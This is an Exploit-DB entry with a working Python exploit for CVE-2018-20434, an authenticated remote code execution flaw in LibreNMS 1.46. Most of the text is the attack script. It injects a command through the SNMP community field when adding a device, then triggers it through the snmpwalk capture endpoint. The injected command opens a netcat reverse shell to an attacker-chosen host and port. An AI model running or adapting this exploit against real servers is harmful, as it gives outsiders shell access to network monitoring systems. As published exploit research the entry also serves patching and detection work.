LibreNMS 1.46 - 'addhost' Remote Code Execution

EDB-ID:

47044


Author:

Askar

Type:

webapps


Platform:

PHP

Date:

2019-06-28


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#!/usr/bin/python

'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''

import requests
from urllib import urlencode
import sys

if len(sys.argv) != 5:
    print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
    sys.exit(0)

# target (user input)
target = sys.argv[1]

# cookies (user input)
raw_cookies = sys.argv[2]

# remote host to connect to
rhost = sys.argv[3]

# remote port to connect to
rport = sys.argv[4]

# hostname to use (change it if you want)
hostname = "dummydevice"

# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)

# request headers
headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
    }

# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
    # print cookie
    c = cookie.split("=")
    cookies[c[0]] = c[1]


def create_new_device(url):
    raw_request = {
        "hostname": hostname,
        "snmp": "on",
        "sysName": "",
        "hardware": "",
        "os": "",
        "snmpver": "v2c",
        "os_id": "",
        "port": "",
        "transport": "udp",
        "port_assoc_mode": "ifIndex",
        "community": payload,
        "authlevel": "noAuthNoPriv",
        "authname": "",
        "authpass": "",
        "cryptopass": "",
        "authalgo": "MD5",
        "cryptoalgo": "AES",
        "force_add": "on",
        "Submit": ""
    }
    full_url = url + "/addhost/"
    request_body = urlencode(raw_request)

    # send the device creation request
    request = requests.post(
        full_url, data=request_body, cookies=cookies, headers=headers
    )
    text = request.text
    if "Device added" in text:
        print "[+] Device Created Sucssfully"
        return True
    else:
        print "[-] Cannot Create Device"
        return False


def request_exploit(url):
    params = {
        "id": "capture",
        "format": "text",
        "type": "snmpwalk",
        "hostname": hostname
        }

    # send the payload call
    request = requests.get(url + "/ajax_output.php",
        params=params,
        headers=headers,
        cookies=cookies
        )
    text = request.text
    if rhost in text:
        print "[+] Done, check your nc !"


if create_new_device(target):
    request_exploit(target)